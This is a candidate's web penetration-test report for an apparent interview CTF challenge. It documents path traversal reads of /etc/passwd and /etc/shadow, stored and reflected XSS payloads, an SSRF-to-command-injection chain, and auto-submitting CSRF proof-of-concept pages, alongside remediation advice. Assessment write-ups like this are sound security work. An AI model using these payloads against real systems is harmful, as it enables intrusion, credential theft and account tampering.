

CTF Interview Challenge – Web Assessment Report

Candidate Name: [AggroSec]

Email: [REDACTED_EMAIL]

Date: [Assessment Date]

Target: https://[target-redacted]

Rules followed: Manual testing only, no automated vulnerability scanners

Out of Scope: DoS/DDoS attacks, underlying infrastructure, or any third-party services.

Executive Summary

During a time-boxed assessment (under 6 hours), 5 critical-severity vulnerabilities, one high-severity vulnerability, and one medium vulnerability were identified using only manual techniques:

- Arbitrary File Disclosure/Path Traversal → Critical
- Stored Cross-Site Scripting → Critical
- Reflected Cross-Site Scripting → Critical
- Server-Side Request Forgery and Path Traversal → Critical
- SSRF to Localhost Admin Panel with Command Injection → Critical
- Cross-Site Request Forgery → High
- HTML Injection → Medium

Exploitation chains were demonstrated through combining several vulnerabilities, namely the combination of LFI, SSRF, source code disclosure, and command injection for remote command execution.

Scope & Methodology

- Black-box web application assessment
- Manual testing with Burp Community (Repeater), gobuster, Firefox Development Tools.
- Manual spidering/walking of the web application
- No automated vulnerability scanners used

Vulnerabilities

1. Arbitrary File Disclosure via Path Traversal in Data Lookup

Name: Arbitrary File Disclosure via Path Traversal

Risk Rating: Critical

Exploitation Likelihood: High (unauthenticated, single parameter, reliable// bypass)

Potential Impact: Critical (full source code, password hashes, environment variables)

Description

The data_source parameter on the /data endpoint is vulnerable to directory traversal using// sequences. An unauthenticated attacker can read any file readable by the web server, including /etc/passwd, /etc/shadow, and /proc/self/environ.

Remediation

- Never concatenate user input directly into file paths.
- Use a whitelist or safe mapping mechanism.
- Sanitize user input before processing.

Testing Process

1. Manually spidered website to find the data endpoint showing a place to look up [data]
2. Followed the example presented by the webpage and observed what was being requested through Burp
3. Sent data_source=....//....//....//etc/passwd → full password file returned
4. Retrieved /etc/shadow, /proc/self/environ, and /proc/self/cmdline as well

Screenshots

[REMOVED]

Example HTTP Request

```
POST /data HTTP/2
Host: [TARGET-REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: https://[TARGET-REDACTED]
Referer: https://[TARGET-REDACTED]/data
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Candidate-Email: [REDACTED_EMAIL]
Priority: u=0, i
Te: trailers

data_source=....%2F%2F....%2F%2F....%2F%2Fetc%2Fpasswd
```

2. Stored Cross-Site Scripting in Profile Bio

Name: Stored Cross-Site Scripting in Profile Update

Risk Rating: Critical

Exploitation Likelihood: High (no filtering, stores and executes immediately)

Disclaimer: As this is just a simulation, actual results are not persistent, however a true application with bio updates for users would store this.

Potential Impact: Critical (arbitrary JavaScript execution in victim context)

Description

The bio field in the profile update form is stored and rendered without HTML escaping, allowing injection of HTML and JavaScript.

Remediation

- HTML-escape all user input on output
- Implement CSP

Testing Process

1. Manually walked website and found the endpoint profile
2. Submitted a few test bio updates to observe requests in Burp
3. Submitted `<script>alert(document.domain)</script>`, `<img src=x onerror=alert(1)>`, and `<svg onload=alert(1)>` in the bios field to trigger payloads
4. All payloads executed on page load or before update

Screenshots

[REMOVED]

Example HTTP Request

```
POST /profile HTTP/2
Host: [TARGET-REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: https://[TARGET-REDACTED]
Referer: https://[TARGET-REDACTED]/profile
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Candidate-Email: [REDACTED_EMAIL]
Priority: u=0, i
Te: trailers

username=AggroSec&bio=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E
```

3. Reflected Cross-Site Scripting via Search Parameter

Name: Reflected Cross-Site Scripting in Search

Risk Rating: Critical

Exploitation Likelihood: High (single parameter, immediate execution)

Potential Impact: Critical (session theft, phishing, keylogging)

Description

The search_term parameter is reflected inside an HTML attribute (id) without proper escaping, allowing injection of event handlers (e.g., onmouseover).

Remediation

- Escape output in attribute context
- Implement CSP

Testing Process

1. Manually walked the web application to find the endpoint search
2. Tested a few searches to see the results and observed the request being sent through Burp.
3. Submitted search_term=" onmouseover=alert(document.domain) x="
4. JavaScript executed on hover

Screenshots

[REMOVED]

Example HTTP Request

```
GET
/search?search_term=%22onmouseover%3Dalert%28document.domain%29+x%3D%22
HTTP/2
Host: [TARGET-REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://[TARGET-REDACTED]/search
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Candidate-Email: [REDACTED_EMAIL]
Priority: u=0, i
Te: trailers
```

4. Server-Side Request Forgery + Path Traversal in PDF Generation

Name: Server-Side Request Forgery and Path Traversal via PDF Generation

Risk Rating: Critical

Exploitation Likelihood: High (unauthenticated, arbitrary URLs accepted)

Potential Impact: Critical (external SSRF confirmed, internal access attempted, tool disclosure)

Description

The POST /pdf endpoint uses **wkhtmltopdf 0.12.6** to fetch and render a user-controlled url. External URLs (e.g., Google) are rendered into PDFs. Path traversal sequences are accepted (../../etc/passwd → 500). Error messages leak the tool name and version.

Remediation

- Whitelist allowed domains and paths
- Replace or sandbox wkhtmltopdf
 - Wkhtmltopdf version is outdated and no longer supported. Recommended to replace it completely.

Testing Process

1. Using gobuster, the pdf endpoint was found, which is linked to the home page of the web application.
2. Link to PDF document was clicked and observed through Burp, noting that the file path submitted to the pdf endpoint can be changed.
3. Submitted url=<https://google.com> and valid PDF returned
4. Submitted url=../../etc/passwd and got a 500 response with “wkhtmltopdf exited with non-zero code 1”
5. Hosted malicious HTML with iframes/objects which rendered but local content blocked

Screenshots

[REMOVED]

Example HTTP Request

```
POST /pdf HTTP/2

Host: [TARGET-REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: https://[TARGET-REDACTED]
Referer: https://[TARGET-REDACTED]/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Candidate-Email: [REDACTED_EMAIL]
Priority: u=0, i
Te: trailers

url=https://google.com
```

5. SSRF to Localhost Admin Panel with Command Injection

Name: SSRF to Localhost Admin Panel with Command Injection

Risk Rating: Critical

Exploitation Likelihood: High

Potential Impact: Critical

Description

The /pdf endpoint uses wkhtmltopdf 0.12.6 to render user-supplied URLs. The /admin endpoint restricts access to request.remote_addr in ["127.0.0.1", "localhost", "::1"]. By chaining SSRF through the /pdf endpoint, an attacker can access /admin from localhost. The cmd parameter is passed directly to subprocess.run() via run_as_nobody(), enabling arbitrary command execution as the nobody user.

Remediation

- Block 127.0.0.1, localhost, and internal IPs in the url parameter for the pdf endpoint
- Validate and sanitize the cmd parameter; reject if present
- Use subprocess.run(..., shell=False) with explicit arguments
- Upgrade or replace wkhtmltopdf (CVE-2022-35583, CVE-2021-40392)

Testing Process

1. Used earlier found LFI (data_source=...//...//...//proc/self/cmdline) to identify python[REDACTED]app.py which tells that the app name is [REDACTED]app.py
2. Used SSRF (POST /pdf, url=/app/[REDACTED]app.py) to obtain full application source in PDF
3. Examined the python code (snip of admin section will be in separate section below) to discover that it only accepts requests internally, through 127.0.0.1
4. Crafted an HTTP request through the pdf endpoint to grab the pdf screen of the admin panel, and then tested adding the cmd parameter to gain command execution.

Python Code Snip

```
@app.route("/admin", methods=["GET"])
def admin():
    if request.remote_addr not in ["127.0.0.1", "localhost", "::1"]:
        return "Access Denied", 403

    if "cmd" in request.args:
        cmd = request.args["cmd"]
        log_alert("Command Injection", cmd)
        try:
            output = run_as_nobody(cmd).decode()
        except subprocess.CalledProcessError as e:
            output = f"Command failed: {e}"
        return render_template("admin.html", output=output)
    return render_template("admin.html", output="")
```

Screenshots

[REMOVED]

Example HTTP Request

```
POST /pdf HTTP/2
Host: [TARGET-REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: https://[TARGET-REDACTED]
Referer: https://[TARGET-REDACTED]/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Candidate-Email: [REDACTED_EMAIL]
Priority: u=0, i
```

Te: trailers

url=<http://127.0.0.1/admin?cmd=whoami>

6. Cross-Site Request Forgery on Profile Update

Name: Cross-Site Request Forgery in Profile Update

Risk Rating: High

Exploitation Likelihood: High (no tokens, predictable endpoint)

Potential Impact: High (silent profile overwrite, chainable with XSS)

Description

The profile update endpoint lacks anti-CSRF protections. An attacker can forge requests to silently modify any user's profile, including injecting malicious bio content.

Remediation

- Implement per-session CSRF tokens
- Use SameSite cookies

Testing Process

1. Endpoint was previously found in an above vulnerability via manually spidering the web application
2. Created multiple HTML PoCs that a victim could travel to in theory, showing that a CSRF is possible.
3. Opened in PoCs in browser → profile overwritten

PoCs

```
CSRF test
<!DOCTYPE html>
<html>
<head><title>CSRF Pure PoC</title></head>
<body>
  <h3>CSRF - Profile Overwrite (No XSS)</h3>
  <form id="csrf" action="https://[TARGET-REDACTED]/profile" method="POST">
    <input name="username" value="Admin">
    <input name="bio" value="This profile was overwritten via CSRF">
  </form>
  <script>
    // Auto-submit
    document.getElementById("csrf").submit();
  </script>
</body>
</html>
```

CSRF chained with XSS

```
<!DOCTYPE html>
<html>
<body>
  <form id="chain" action="https://[TARGET-REDACTED]/profile"
method="POST">
    <input name="username" value="admin">
    <input name="bio"
value="<script>alert('CSRF+XSS');</script>">
  </form>
  <script>document.getElementById("chain").submit();</script>
</body>
</html>
```

```
Silent Version
<!DOCTYPE html>
<html>
<head>
  <title>Silent CSRF PoC</title>
  <style>
    body, iframe { display: none !important; }
  </style>
</head>
<body>
  <h2>CSRF activated (will not load page)</h2>

  <iframe name="hidden" style="display:none;"></iframe>

  <form id="csrf" action="https://[TARGET-REDACTED]/profile"
    method="POST" target="hidden">
    <input name="username" value="CSRF_OWNED">
    <input name="bio" value="Silent overwrite via CSRF">
  </form>

  <script>
    // Submit silently in background
    document.getElementById("csrf").submit();
  </script>
</body>
</html>
```

Screenshots

[REMOVED]

7. HTML Injection in Profile Bio (Medium)

Name: HTML Injection in Profile Update

Risk Rating: Medium

Exploitation Likelihood: High

Potential Impact: Medium (defacement, phishing overlays)

Description

The bio field allows raw HTML tags (<h1>, <marquee>) to be rendered, enabling defacement and potential phishing.

Remediation

- Strip or escape HTML tags from being submitted in profile.

Testing Process

1. Endpoint profile found in previous vulnerability through walking the web application manually.
2. Submitted <h1>HACKED by AggroSec</h1> and <marquee>OWNED</marquee>
3. Tags rendered as HTML

Screenshots

[REMOVED]

Example HTTP Request

```
POST /profile HTTP/2
Host: [TARGET-REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: https://[TARGET-REDACTED]
Referer: https://[TARGET-REDACTED]/profile
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Candidate-Email: [REDACTED_EMAIL]
Priority: u=0, i
Te: trailers

username=AggroSec&bio=%3Ch1%3EHACKED+by+AggroSec%3C%2Fh1%3E
```

Conclusion

Severity	Count	Vulnerabilities
Critical	5	• Arbitrary File Disclosure via Path Traversal • Stored Cross-Site Scripting in Profile Update • Reflected Cross-Site Scripting in Search • Server-Side Request Forgery + Path Traversal in PDF Generation
High	1	• Cross-Site Request Forgery in Profile Update
Medium	1	• HTML Injection in Profile Bio
Low	0	—
Total	7	

In under six hours of fully manual testing (no automated scanners), seven significant security vulnerabilities were identified, including five Critical-severity issues. The most severe findings — arbitrary file disclosure, stored and reflected XSS, an SSRF-capable PDF generation endpoint using an outdated and vulnerable version of wkhtmltopdf, and the chained SSRF to RCE — demonstrate systemic input validation and access control weaknesses.

Several findings are directly chainable (e.g., CSRF + Stored XSS), dramatically increasing overall risk. Immediate remediation of input sanitisation, output encoding, access controls, and replacement of the wkhtmltopdf component is strongly recommended.

Thank you for the opportunity to prove my skills in this assessment. I enjoyed the challenge immensely and would welcome the chance to discuss how I can contribute to [REDACTED_COMPANY]